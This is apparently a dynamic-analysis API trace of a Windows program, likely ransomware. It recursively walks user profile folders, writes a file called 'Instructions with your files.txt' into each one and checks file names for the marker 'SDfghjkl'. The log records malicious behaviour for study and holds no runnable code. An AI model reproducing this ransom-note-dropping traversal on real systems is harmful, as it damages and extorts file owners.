[0132.309] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0132.309] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0132.309] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0132.309] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0132.309] CloseHandle (hObject=0x120) returned 1
[0132.309] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0132.309] GetProcessHeap () returned 0x810000
[0132.309] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0132.309] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1
[0132.309] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 73
[0132.309] GetProcessHeap () returned 0x810000
[0132.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0132.309] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned 75
[0132.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0132.309] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\.") returned 75
[0132.309] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.310] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.310] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\..") returned 76
[0132.310] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.310] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.310] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Instructions with your files.txt") returned 106
[0132.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0132.310] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0132.311] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0132.311] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0132.311] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0132.311] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0132.311] CloseHandle (hObject=0x120) returned 1
[0132.311] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0132.311] GetProcessHeap () returned 0x810000
[0132.311] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0132.311] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0
[0132.311] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Instructions with your files.txt") returned 101
[0132.312] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.312] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.313] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.313] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.313] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.313] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.313] CloseHandle (hObject=0x11c) returned 1
[0132.313] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.313] GetProcessHeap () returned 0x810000
[0132.313] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.315] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0
[0132.315] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Instructions with your files.txt") returned 98
[0132.315] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.315] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.316] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.316] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.316] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.317] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.317] CloseHandle (hObject=0x118) returned 1
[0132.317] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.317] GetProcessHeap () returned 0x810000
[0132.317] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.317] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0132.317] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
[0132.317] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Instructions with your files.txt") returned 79
[0132.317] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.318] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.318] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.318] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.319] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.319] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.319] CloseHandle (hObject=0x114) returned 1
[0132.319] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.319] GetProcessHeap () returned 0x810000
[0132.319] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.319] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
[0132.319] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Instructions with your files.txt") returned 69
[0132.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.319] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.320] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.320] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.320] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.320] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.320] CloseHandle (hObject=0x110) returned 1
[0132.320] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.320] GetProcessHeap () returned 0x810000
[0132.320] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.321] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0
[0132.321] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Instructions with your files.txt") returned 61
[0132.321] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.321] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.322] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.322] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.322] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.322] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.322] CloseHandle (hObject=0x10c) returned 1
[0132.322] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.322] GetProcessHeap () returned 0x810000
[0132.322] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.322] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
[0132.323] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Application Data") returned 37
[0132.323] GetProcessHeap () returned 0x810000
[0132.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.323] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Application Data\\*") returned 39
[0132.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.323] GetProcessHeap () returned 0x810000
[0132.323] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.323] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
[0132.323] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts") returned 29
[0132.323] GetProcessHeap () returned 0x810000
[0132.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.323] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\*") returned 31
[0132.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.324] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\.") returned 31
[0132.324] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.324] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.324] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\..") returned 32
[0132.324] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.324] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1
[0132.324] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact") returned 51
[0132.324] StrStrIW (lpFirst="Administrator.contact", lpSrch="SDfghjkl") returned 0x0
